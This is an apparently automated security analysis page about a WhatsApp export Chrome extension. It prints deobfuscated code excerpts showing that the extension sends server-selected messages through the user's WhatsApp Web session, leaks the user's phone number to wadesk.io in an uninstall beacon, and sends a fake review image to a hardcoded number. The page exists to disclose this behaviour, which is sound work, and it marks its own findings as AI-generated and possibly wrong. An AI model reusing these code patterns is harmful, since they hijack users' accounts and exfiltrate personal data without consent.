Is Free WhatsApp Chat Backup - Export WhatsApp Contact to Excel/CSV/VCard safe?
WhatsApp Chat Backup is high risk. Opening the popup's forward-message feature requests a task from wadesk.io tied to the account and WhatsApp identity. Its fields make WhatsApp Web send server-selected text to a server-selected recipient. DA didn't observe this live.…
Who publishes ittianfa9527 - 1 other listing from the same operator, none carrying a finding
tianfa9527 - 1 other listing from the same operator, none carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
1 other listing published from this account, 4k+ users between them, none of them carrying a finding.
Shared hosts - 3 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Server-Selected WhatsApp Messages From the Popup
Opening the popup's forward-message feature requests a task from wadesk.io tied to the account and WhatsApp identity.
Its fields make WhatsApp Web send server-selected text to a server-selected recipient.
DA didn't observe this live.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-506
- Source
- Dynamic sandbox
You open the extension popup's forward-message dialog.
The dialog calls its open handler before showing the message preview.
The extension requests one server-selected WhatsApp task and sends its text to its recipient.
The task is only reachable when both the wadesk.io account token and a WhatsApp Web session are available.
- Your WhatsApp identity14155551234@c.us (illustrative)
Ties the task request to the WhatsApp account currently known to the extension.
- Forwarding sourceforward_type=1, forward_source=4
Tells the server which extension flow is asking for work.
- Message textYour shipment update is ready (illustrative)
This is the text that can be sent from your active WhatsApp Web session.
- Recipient phone number15551234567 (illustrative)
Controls which WhatsApp account receives the server-selected message.
- Task statusmessage_id=948271, send_status=4 (illustrative)
Lets the server record whether the message send succeeded or failed.
No live matching request was captured without both a wadesk.io session and an authenticated WhatsApp Web session.
- Ext-Name
- WDExport
- Content-Type
- application/json
- Authorization
- Bearer <redacted>
The popup fetches a task and passes its fields toward WhatsApp Web
Popup dialog methods after formatting
popup.jsasync handleOpen() { this.fetchLoading = true; const { myWhatsappID: e } = await chrome.storage.local.get(["myWhatsappID"]), o = { whatsapp_id: e, forward_type: 1, forward_source: 4 }; this.forwardData && (o.batch_id = this.forwardData.batchId); const t = await Object(go["b"])(o); this.fetchLoading = false; 1e5 === t.code && (t.result ? this.forwardData = t.result : this.$message.error(this.$t("popup.noMoreTask")));}handleSendMessage() { this.sendLoading = true; chrome.tabs.query({ active: true, currentWindow: true }, e => { chrome.tabs.sendMessage(e[0].id, { NAMESPACE: Z["f"], action: "send-forward-message", data: { message: this.forwardData.message, receiver: this.forwardData.receiver.trim().replace("+", "") } }); });}async messageListener(e) { if ("send-forward-message-result" === e.action) if (this.sendLoading = false, e.data) { this.$message.success(this.$t("popup.sendSuccess")); const { unlimitedUsageExpiredAt: e } = await chrome.storage.local.get(["unlimitedUsageExpiredAt"]), o = Math.round(new Date / 1e3), t = e && e > o ? e : o; await chrome.storage.local.set({ unlimitedUsageExpiredAt: t + 86400 }); await Object(go["f"])({ message_id: this.forwardData.id, send_status: 4 }); this.$emit("sendSuccess"); } else { await Object(go["f"])({ message_id: this.forwardData.id, send_status: 5 }); this.$message.error(this.$t("popup.sendFailed")); }}API wrapper after formatting
popup.jsconst n = "https://wadesk.io/api", c = a["a"].create({ baseURL: n + "/ext/v2", method: "post" });c.interceptors.request.use((async function(e) { e.headers["Content-Type"] = "application/json"; e.headers["Ext-Name"] = "WDExport"; e.params = e.params || {}; const { account: o } = await chrome.storage.local.get("account"); return o && (e.headers.Authorization = "Bearer " + o.accessToken), e;}), (function(e) { return { error: e };}));c.interceptors.response.use((async function(e) { const o = e.data; return o;}), (function(e) { return { error: e };}));var r = c;async function d(e) { return r({ url: "un_token/forward_message/get_one", method: "post", data: e });}async function u(e) { return r({ url: "un_token/forward_message/update_status", method: "post", data: e });}The content script forwards the task into the injected WhatsApp sender
Content script relay after formatting
content-script.jsif ("contactCustomerService" === o.action) { window.postMessage(o, "*");}if ("send-forward-message" === o.action) { window.postMessage(o, "*");}return true;Injected sender after formatting
inject-script/wd-inject.jsasync function G(e) { try { await window.WPP.chat.sendTextMessage(e.receiver + "@c.us", e.message, { createChat: true }); window.postMessage({ NAMESPACE: c["f"], action: "send-forward-message-result", data: true }, "*"); } catch (t) { window.postMessage({ NAMESPACE: c["f"], action: "send-forward-message-result", data: false }, "*"); }}window.addEventListener("message", async e => { if (e.data.NAMESPACE === c["f"] && "send-forward-message" === e.data.action) { G(e.data.data); }});- wadesk.io
Receives the task request and status update, and returns the message text and recipient fields used by the popup.
- web.whatsapp.com
Runs the WhatsApp Web session where the injected script calls the page's WPP sending API.
WhatsApp Phone Number Sent to wadesk.io on Extension Uninstall
Dynamic analysis confirmed this extension reads your WhatsApp phone number from WhatsApp Web and stores it locally.
On uninstall, Chrome sends it to waexport.wadesk.io as a URL parameter without consent, and in wadesk.io API calls.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-200
- Source
- Dynamic sandbox
You open WhatsApp Web while logged into your account.
The extension injects a frame script that waits for WhatsApp's JavaScript library (WPP) to be ready.
The extension reads your WhatsApp phone number and registers it in Chrome's uninstall URL, so your number is sent to wadesk.io when you remove the extension.
The number is also stored in chrome.storage.local and included in API calls to wadesk.io while the extension is running.
- Your WhatsApp phone number+14155551234
The phone number linked to your WhatsApp account, extracted from the logged-in session.
- Install timestamp1780612626
Unix timestamp of when you first installed the extension.
- Extension version2.0.5
Which version of the extension you have installed.
- Browser UI languageen-GB
Your Chrome interface language setting.
- UTM tracking parametersutm_source=chrome_extension&utm_medium=chrome_extension&utm_trigger=uninstall
Marketing attribution tags identifying the uninstall event source.
Chrome fires this URL automatically when the user removes the extension. The phone number (whatsapp_id parameter) is transmitted as plaintext in the URL.
Background service worker registers the uninstall beacon with the user's phone number embedded.
Storage change listener: when userPhoneNum is written, rebuild and register the uninstall URL
background.jschrome.storage.onChanged.addListener(async (changes, area) => { if (area === 'local' && changes.userPhoneNum) { const phoneNumber = changes.userPhoneNum.newValue; const { installedAt } = await chrome.storage.local.get(['installedAt']); const { version } = chrome.runtime.getManifest(); const language = chrome.i18n.getUILanguage(); const params = new URLSearchParams({ utm_source: 'chrome_extension', utm_medium: 'chrome_extension', utm_trigger: 'uninstall', version, hl: language, whatsapp_id: phoneNumber || '', install_time: installedAt || '' }); const uninstallUrl = `https://waexport.wadesk.io/ext-wa-export-feedback?${params.toString()}`; chrome.runtime.setUninstallURL(uninstallUrl); }});initFrame.js: extract phone number from WhatsApp Web session via WPP library
inject-script/initFrame.js// WPP.conn.getMyUserId() returns e.g. { _serialized: '14155551234@c.us' }const userId = window.WPP.conn.getMyUserId() || { _serialized: '' };const wid = window.WPP.conn.getMyUserWid();let phoneNumber = '';if (wid && wid.user) { phoneNumber = '+' + wid.user;} else if (userId._serialized) { phoneNumber = '+' + userId._serialized.split('@')[0].replace(/^\+/, '');}// phoneNumber is then posted to the content script as part of the wpp-full-ready event- waexport.wadesk.io
Receives the user's WhatsApp phone number as a URL parameter in the uninstall feedback beacon. wadesk.io is the extension developer's own SaaS platform.
- wadesk.io
Also receives the WhatsApp ID (whatsapp_id parameter) in authenticated API calls to /api/ext/v2 endpoints while the extension is running.
Leave Review sends a WhatsApp image to a fixed phone number
Clicking the Leave Review flow relays a page message into WhatsApp Web and calls its file-message API with an image.
The recipient is hardcoded as 8618976917166@c.us; the caption adds your language plus a fake review claim.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-200
- Source
- Dynamic sandbox
You click the extension's Leave Review flow.
The extension sends an image message from WhatsApp Web to a fixed phone number.
The message uses filename comment.png and a caption saying the browser-language user gave a positive review.
- WhatsApp recipient8618976917166@c.us
This fixes where the image is sent, regardless of which WhatsApp account you are using.
- Image filenamecomment.png
This is the image attachment sent through the active WhatsApp Web session.
- Browser languageen-US: I give a positive review for the contact-export extension
This adds your browser language to the message caption.
- Message typetype=image, createChat=true
The extension tells WhatsApp to create an image message rather than just opening a chat.
The review action is relayed into WhatsApp Web and sent as a file message
Readable relay branch in the content script
content-script.jsif ("send-review-cert" === o.action && window.postMessage(o, "*"), "export-chat-history" === o.action) { const e = await f(o); return e.success ? (window.postMessage(o, "*"), { success: !0 }) : e}Readable injected function that sends the WhatsApp image
inject-script/wd-inject.jsasync function z(e) { await window.WPP.chat.sendFileMessage("8618976917166@c.us", e, { createChat: !0, type: "image", filename: "comment.png", caption: navigator.language + ": I give a positive review for the contact-export extension" }), window.postMessage({ NAMESPACE: c["f"], action: "send-review-cert-result" }, "*")}- web.whatsapp.com
The active WhatsApp Web page is used to send an image message to hardcoded contact 8618976917166@c.us from the signed-in account.
+1 more finding not shown